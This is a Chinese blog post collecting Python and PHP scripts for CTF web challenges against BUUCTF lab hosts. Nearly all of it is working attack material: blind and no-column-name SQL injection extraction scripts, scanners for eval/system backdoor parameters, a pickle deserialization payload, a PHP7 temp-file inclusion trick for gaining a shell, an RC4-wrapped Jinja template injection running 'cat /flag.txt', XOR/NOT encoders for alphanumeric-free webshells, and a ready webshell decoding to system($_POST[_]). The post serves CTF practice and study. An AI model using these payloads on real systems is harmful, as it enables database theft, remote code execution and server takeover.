常用脚本(python)

目录:


 

 


 

 

第一部分:

布尔盲注类型:

import requests
url="http://32a87616-b3a4-4290-808b-9c3d3e1163d2.node4.buuoj.cn:81/index.php"
for changdu in range(1,100):
    for neir in range(0,255):
        payload="1^if((ascii(substr((select(flag)from(flag)),"+str(changdu)+",1))="+str(neir)+"),sleep(0),1)"
        data={"id":payload}
        req=requests.post(url,data=data)
        if("Hello" in req.text):
            print(chr(neir),end="")
            break
#布尔盲注
#方案二
import requests
url1="http://ee8b6c58-94d0-4c79-941f-910e3552543e.node4.buuoj.cn:81/search.php?id="
count=1

while(True):
    xunhuan=0
    for st in range(33,127):
        #爆破数据库名
        # payload="6^(ascii(substr((select(database())),"+str(count)+",1))="+str(st)+")"
        # 爆破表名
        # payload = "6^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))," + str(count) + ",1))=" + str(st) + ")"
        #爆破字段名 (F1naI1y,Flaaaaag)
        # payload="6^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y'))," + str(count) + ",1))=" + str(st) + ")"
        # payload = "6^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())&&(table_name='F1naI1y'))," + str(count) + ",1))=" + str(st) + ")"
        #爆破字段名
        payload ="6^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y))," + str(count) + ",1))=" + str(st) + ")"
        url = url1 + payload
        req = requests.get(url)
        xunhuan+=1
        if("ERROR!!!" in req.text):
            print(chr(st),end="")
            count+=1
            break
    if xunhuan == 94:
        break

 

 

 

在一个网站源代码中存在特定文件的脚本

# !/usr/bin/python
# coding=utf-8

import requests
import os
import re
import time
import threading

# 重写thread,让其在运行期间能返回 函数运行结果
class my_thread(threading.Thread):
    def __init__(self,func,args=()):
        super(my_thread,self).__init__()
        self.func = func
        self.args = args

    def run(self):
        self.result = self.func(*self.args)

    def get_result(self):
        try:
            return self.result
        except Exception:
            return None

def get_params(path,re_get,re_post):
    get_dict = dict()
    post_dict = dict()
    try:
        with open(path,encoding='utf8') as file:
            content = file.read()
            get_lst = re_get.findall(content)
            post_lst = re_post.findall(content)
            file.close()
            for j in get_lst:
                get_dict[j] = 'echo "1234"'
            for k in post_lst:
                post_dict[k] = 'echo "1234"'
            return get_dict,post_dict
    except:
        return dict(),dict()

def require(s,url,params,data):
    try:
        r = s.post(url,params=params,data=data)
        r.close()
        r.raise_for_status()
        r.encoding = r.apparent_encoding
        return r.text
    except:
        return ''

def find_param(s,url,gets,posts):
    for m in gets:
        r1 = s.get(url,params={m:gets[m]})
        if '1234' in r1.text:
            print('get params:',m)
            return m
        else:
            continue
    for n in posts:
        r2 = s.post(url,data={n:posts[n]})
        if '1234' in r2.text:
            print('post data:',n)
            return n
        else:
            continue

def main():
    ''' 脚本文件夹放在PHPstudy的根目录下'''
    path = 'D:/ProgramFiles/phpstudy_pro/WWW/src/'
    start_url = 'http://localhost/src/'
    re_get = re.compile('\$_GET\[\'(\w+)\'\]')
    re_post = re.compile('\$_POST\[\'(\w+)\'\]')
    file_lst = os.listdir(path)
    s = requests.session()
    for i in file_lst:
        t1 = my_thread(func=get_params,args=(path+i,re_get,re_post))
        t1.start()
        t1.join()
        gets,posts = t1.get_result()
        t2 = my_thread(func=require,args=(s,start_url+i,gets,posts))
        t2.start()
        t2.join()
        html = t2.get_result()
        if '1234' in html:
            print(i)
            find_param(s,start_url+i,gets,posts)
            break
        else:
            continue

if __name__ == '__main__':
    start = time.time()
    print(start)
    main()
    print(time.time()-start)
第一种:
import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件,一行行遍历,读取文本
        str = str + line

    # 获取一个页面内所有参数
    start = 0
    params = {}
    while str.find("$_GET['", start) != -1:
        pos2 = str.find("']", str.find("$_GET['", start) + 1)
        var = str[str.find("$_GET['", start) + 7: pos2]
        start = pos2 + 1

        params[var] = 'echo("glzjin");'

        # print(var)

    start = 0
    data = {}
    while str.find("$_POST['", start) != -1:
        pos2 = str.find("']", str.find("$_POST['", start) + 1)
        var = str[str.find("$_POST['", start) + 8: pos2]
        start = pos2 + 1

        data[var] = 'echo("glzjin");'

        # print(var)

    # eval test
    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = 'echo glzjin'

    for i in data:
        data[i] = 'echo glzjin'

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")

for file in files:  # 遍历文件夹
    if not os.path.isdir(file):  # 判断是否是文件夹,不是文件夹才打开
        # read_file(file)

        pool.submit(read_file, file)
第二种:
import os
import requests
import re
import threading
import time
print('start:  '+  time.asctime( time.localtime(time.time()) ))
#输出当前日期时间
s1=threading.Semaphore(100)
#线程数100
filePath = r"E:\phpstudy\phpstudy_pro\WWW\src"
#为文件地址
os.chdir(filePath)
#改变当前工作目录到指定的路径
#本来的工作目录在D盘,修改到文件所在地址
requests.adapters.DEFAULT_RETRIES = 5
#连接失败后重连的次数为5次,因为如果线程如果太高,可能访问有时会报错
files = os.listdir(filePath)
#列出filePath路径下所有文件名
session = requests.Session()
#保持会话
session.keep_alive = False
#设置连接活跃状态为False
def get_content(file):
    s1.acquire()
#多个线程共同对某个数据修改,则可能出现不可预料的结果,为了保证数据的正确性,需要对多个线程进行同步。共享数据。
#比如a要访问flag这个参数,但b正在访问,那么先暂停a,等b执行完在执行a。
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
#输出时间
    with open(file,encoding='utf-8') as f:
#以utf-8打开文件
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
#全局正则匹配,读出当前文件的所有get参数
#\$对$转义\[、\'、\]同样是转义,(.*?)以非贪婪模式匹配\' \'内的所有字符串,并分组
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
#全局正则匹配,读出当前文件的所有post参数
    data = {}
    params = {}
#data数组存post参数值,params存get参数名
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
#把所有的get和post参数名以键名的方式赋给data和params,并赋值echo 'xxxxxx';
#赋值echo 'xxxxxx';是为了方便我们判断此参数有没有用。
    url = 'http://localhost/src/'+file
    req = session.post(url, data=data, params=params)
#会话方式,和requests.post访问查不多,但在这里会更快,它不需要不停重新访问。
#一次性请求所有的GET和POST
    req.close()
#关闭会话,释放内存
    req.encoding = 'utf-8'
    content = req.text
#得到所有访问的页面内容
    #print(content)
    if "xxxxxx" in content:
#如果发现存在,则继续挨个访问,并筛选出具体的参数
        flag = 0
#用来判断是get请求成功,则为1,是post成功则为0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
#如果此时flag不为1,则说明get所有参数都不存在
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()
                if "xxxxxx" in content:
                    break
        if flag == 1:
            param = a
#如果flag为1,则记录param为a,也就是此时get参数名
        else:
            param = b
        print('file: '+file+"  and param:%s" %param)
#输出成功的文件名和参数名
        print('endtime: ' + time.asctime(time.localtime(time.time())))
    s1.release()
    #释放锁,开始下一个线程

for i in files:
    t = threading.Thread(target=get_content, args=(i,))
    t.start()
#线程开始 
第三种:
import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()                                                
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start() 作者:很菜的wl https://www.bilibili.com/read/cv18557952 出处:bilibili
第四种:

参考搬运自:

https://www.bilibili.com/read/cv18557952

https://www.freesion.com/article/5996338043/

https://www.wangan.com/docs/268

 

求某一个数经过MD5编码后,指定位数为指定字符:

#例如求经过MD5编码后,第一到第六位字符为6d0bc1的字符串
from
hashlib import md5 for i in range(10000000): if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1': print(i)

 

 

当遇到命令注入或是文件包含等中出现过滤所有字母数字的条件时:可以利用两个非字母数字的字符通过异或运算构造字母数字的方法  或是利用URL编码取反的操作来尝试绕过:

URL编码取反:

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[test]))';
$d=urlencode(~$c);
echo $d;
 ?>
输入时记得加~
如:(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CA%CA%A2%D6%D6); 《==》assret(eval($_POST[55]));

引用参考:BUUCTF:[极客大挑战 2019]RCE ME ——两种方法-CSDN博客

 

MD5编码

# 经过MD5编码后,其指定位数上的字符串等于指定字符串
from hashlib import md5

for i in range(10000000):
    if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
        print(i)

 

 

pickle反序列号脚本(python反序列化)

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)


pickle.loads()
pickle.loads() 是 Python 中用于从序列化的字节流(serialized bytes)中加载对象的函数。它接受一个包含序列化对象数据的字节对象,并返回原始的 Python 对象。

具体来说,pickle.loads() 将字节流反序列化为原始对象,使得我们可以从文件、网络传输中接收的数据中重新构建出 Python 对象。

pickle.dumps()
pickle.dumps() 是 Python 中用于将对象序列化(pickle)为字节流的函数。它接受一个 Python 对象作为输入,并返回该对象序列化后的字节表示。

具体来说,pickle.dumps() 将一个 Python 对象转换为一个包含其序列化后数据的 bytes 对象,这样可以将其存储到文件、通过网络传输或者在程序内部进行保存和加载

urllib.unquote()
urllib.quote() 是 Python 2 中的一个函数,用于对字符串进行 URL 编码(percent encoding)。它被用来将字符串中的特殊字符转换成符合 URL 格式的形式,以便在 URL 中进行安全传输或显示。

注意:该脚本是在python2环境下运行

参考:[CISCN2019 华北赛区 Day1 Web2]ikun 1-CSDN博客

 

SQL注入无列名注入脚本:


'''sys.x$schema_flattened_keys
sys.x$schema_table_statistics_with_buffer
sys.schema_table_statistics_with_buffer
以上三个都可以用来代替information_schema,'''


import
requests url1="http://cb7df70e-5b1d-4980-b160-df0d1e587efc.node5.buuoj.cn:81/index.php" count=1 flag = '' #无列名注入
#注意:爆破数据库名、表名 与爆破字段内容不同
while(True): xunhuan=0 for st in range(33,127): #爆破数据库名 (give_grandpa_pa_pa_pa) #payload="1^(ascii(substr((select(database())),"+str(count)+",1))="+str(st)+")#" # 爆破表名(f1ag_1s_h3r3_hhhhh) # payload = "1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database()))," + str(count) + ",1))=" + str(st) + ")" #爆破表中的字段内容,先要爆破出其列数,才能继续爆破内容 payload = '1^((select 1,"'+flag+chr(st+1)+'")>(select * from f1ag_1s_h3r3_hhhhh))#' # url = url1 + payload data={'id':f'{payload}'} req = requests.post(url1,data) xunhuan+=1 if("Error Occured When Fetch Result." in req.text): print(chr(st),end="") flag+=chr(st) count+=1 break if xunhuan == 94: break

'''
payload = '1^((select 1,1,1,1)=(select * from f1ag_1s_h3r3_hhhhh))#'
payload = '1^((select 1,1,1)=(select * from f1ag_1s_h3r3_hhhhh))#'
select后面1的个数表示列数(字段),个数(列数)的正确或错误的界面不同
注意:不同位置的1,其对应的字段不同,爆破的时候要先确认好爆破字段的位置
'''

 

利用php7 segment fault特性(php临时文件包含)

若是遇到类似文件包含,且能查看tmp目录的情况时。可以利用利用php7 segment fault特性进行利用

php代码中使用 php://filter 的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用 php://filter/string.strip_tags 导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp文件就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于以下php7版本,php5并不存在该崩溃。


import requests
from io import BytesIO
payload = "<?php phpinfo()?>" #攻击代码
file_data = { 'file': BytesIO(payload.encode()) }
url = "http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
 

参考:[NPUCTF2020]ezinclude |北歌 (kinsey973.github.io)

 

JSON数据编码

#\uXXXX可以在JSON中转义字符,例如A与\u0041等效,A的16进制为41

str1=input('输入字符串:\n')
str2=''
for st in str1:
    str2+="\\u00"+str(st.encode().hex())
print(str2)
# print(str1.encode().hex(),type)

若是对json数据中的关键字词进行过滤,可以尝试利用16进制的Unicode编码进行转义,从而实现绕过

如:php://filter/convert.base64-encode/resource=/flag

==》 \u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067

参考:[BUUOJ记录] [HarekazeCTF2019] encode_and_encode - Ye'sBlog - 博客园 (cnblogs.com)

 

RC4加密 

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:\n%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
str1=input("输入:\n")
# str1='''{% for c in [].__class__.__base__.__subclasses__() %}
# {% if c.__name__ == 'catch_warnings' %}
#   {% for b in c.__init__.__globals__.values() %}
#   {% if b.__class__ == {}.__class__ %}
#     {% if 'eva'+'l' in b.keys() %}
#       {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /flag.txt").read()') }}
#     {% endif %}
#   {% endif %}
#   {% endfor %}
# {% endif %}
# {% endfor %}'''
rc4_main("HereIsTreasure",str1)

参考:[CISCN2019 华东南赛区]Double Secret-CSDN博客

 

无字母数字RCE异或脚本


$hhh = @$_GET['_'];

if
(strlen($hhh)>18){ //对参数长度进行限制 die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) //对参数内容进行过滤; die('Try something else!');

以上代码中对参数进行数字、字母、~等过滤,因此此处不能进行URL编码取反绕过,可以尝试利用异或编码进行绕过,加之上述代码还对长度进行限制:

可以尝试构造 $_GET[]();的格式进行调用,[]被过滤,可以尝试利用{}代替。

这可以尝试构造: ?_=$_GET{_}();&_=phpinfo  (只需要对$_GET{_}();&_中被过滤的字符进行异或编码即可;后面的phpinfo是想要执行的内容,也可以是其它)

<?php
function finds($string){
    $index = 0;
    $a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
    for($i=27;$i<count($a);$i++){
        for($j=27;$j<count($a);$j++){
            $x = $a[$i] ^ $a[$j];
            for($k = 0;$k<strlen($string);$k++){
                if(ord($string[$k]) == $x){
                    echo $string[$k]."\n";
                    echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
                    $index++;
                    if($index == strlen($string)){
                        return 0;
                    }
                }
            }
        }
    }
}
finds("_GET");
?>

参考:[BUUCTF题解][SUCTF 2019]EasyWeb - Article_kelp - 博客园 (cnblogs.com)

[SUCTF 2019]EasyWeb 1-CSDN博客

 

无字母数字的webshell脚步:

1、检测上传文件中没有被过滤字符的脚步:

import requests as res
import time
def check(url,alph):
    header={
        'Host':'9a61ef4c-5146-471d-ba31-0198e80df618.node3.buuoj.cn',
        'Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'
    }
    data="""
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
 
12345{}
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"
 
提交         
-----------------------------339469688437537919752303518127--
"""
    #这里因为上传的内容还有上传按钮的值"提交",所以采用encode('utf-8'),但实际上可以去掉"提交"上传,这里也就不需要encode('utf-8')了
    response=res.post(url,data=data.format(alph).encode('utf-8'),headers=header)
    while response.status_code!=200:
        time.sleep(0.3)
        response=res.post(url,data=data.format(alph).encode('utf-8'),headers=header)
    return response.text
url="http://9a61ef4c-5146-471d-ba31-0198e80df618.node3.buuoj.cn/index.php?act=upload"
alphs=''
for i in range(33,127):
    bak=check(url,chr(i))
    if bak.find("illegal",0)==-1:
        print("Can use {}".format(chr(i)))
        alphs+=chr(i)
    else:
        print("Cn't use {}".format(chr(i)))
print('[*'+alphs+'*]')

使用异或 或是 取反 脚本

pattern=input("请输入正则过滤式,没有则直接回车跳过\n")
#正则表达式修饰符re.I大小写不敏感,re.M多行匹配,影响^和$,re.S使得.匹配包括换行在内的所有字符,re.U根据Unicode字符集解析字符,影响\w,\W,\b,\B
if pattern != "":
    import re
    blacklist=["`","'",'"',"\\"]
    for i in range(32,255):
        if  re.search(pattern,chr(i),re.I):
            blacklist.append(chr(i))
else:
    #blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符,其余的如',"等字符考虑可能会导致闭合等问题暂列入
    #如果有其他的要求可以对blacklist列表进行删改
    blacklist=["`","'",'"',"\\","0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"]
#print(blacklist)
#不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串
#如果需要获得更多拼接字符串查看该函数中的result列表
def yiHuo(string):
    global operationEffient
    global blacklist
    operationEffient=False
    result=[]
    finalstr='""^""'
    rawstr=string
    for i in range(0,len(rawstr)):
        result.extend([[]])
    for k in range(0,len(rawstr)):
        for i in range(127,255):
           if(chr(i) not in blacklist):
                for j in range(127,255):
                    if(chr(j) not in blacklist):
                        if(i^j==ord(rawstr[k])):
                            result[k].extend([[hex(i).replace('0x',"%"),hex(j).replace('0x',"%")]])
    #在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串)
    for i in range(0,len(result)):
        if(len(result[i])==0):
            return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i]))
    for i in range(0,len(rawstr)):
        finalstr=finalstr[:finalstr.find("^",0)-1]+result[i][0][0]+'"'+finalstr[finalstr.find("^",0):]
        finalstr=finalstr[:finalstr.rfind("'",0)]+result[i][0][1]+finalstr[finalstr.rfind('"',0):]  
    #print(result)
    return(finalstr)
def quFan(string):
    global operationEffient
    global blacklist
    operationEffient=False
    result=[]
    finalstr='~""'
    rawstr=string
    for i in range(0,len(rawstr)):
        result.extend([[]])
    for k in range(0,len(rawstr)):
        for i in range(32,255):
           if(chr(i) not in blacklist and chr(int(bin(~i & 0xFF)[2:],2))==rawstr[k]):
               result[k].extend([hex(i).replace('0x',"%")])
    for i in range(0,len(result)):
        if(len(result[i])==0):
            return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i]))
    for i in range(0,len(rawstr)):
        finalstr=finalstr[:finalstr.rfind('"',0)]+result[i][0]+finalstr[finalstr.rfind('"',0):]
    return(finalstr)
while(True):
    operationEffient=True
    target=input("请输入待转换字符\n")
    while(operationEffient):
        operation=input("请选择操作\n1->使用异或拼接\n2->使用取反获得\n")
        if(operation=="1"):
            result=yiHuo(target)
            pass
        elif(operation=="2"):
            result=quFan(target)
            pass
        else:
            print("选择的操作无效")
            continue
        print(result)

 

参考:[BUUCTF题解][SUCTF 2018]GetShell 1 | 附:utf-8汉字取反得26英文字母(分大小写)字典 - Article_kelp - 博客园 (cnblogs.com)

使用非常规字符写出Shell - Article_kelp - 博客园 (cnblogs.com)

一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

[SUCTF 2018]GetShell | 北歌 (kinsey973.github.io)

 

无字母数字,只由 $ ( ) [ ] _ ~ ; 及汉字组成的木马:

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
===》system($_POST[_])

参考:[SUCTF 2018]GetShell-CSDN博客

 

PHP类中的MD5及SHA1比较绕过(常见于反序列化中)

注意:类中的MD5及SHA1绕过与平时(没有类时)的绕过不一样,它涉及PHP原生类、Error和Exception类的__toString方法。通过创建不同的Error对象但使它们的__toString返回相同值,成功绕过了MD5和SHA1的校验,最终实现payload执行,包含flag。Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7

payload:

<?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

参考及更详细讲解:[极客大挑战 2020]Greatphp-CSDN博客

 

posted @ 2022-10-13 16:14  咿呀鲸落  阅读(34)  评论(0)    收藏  举报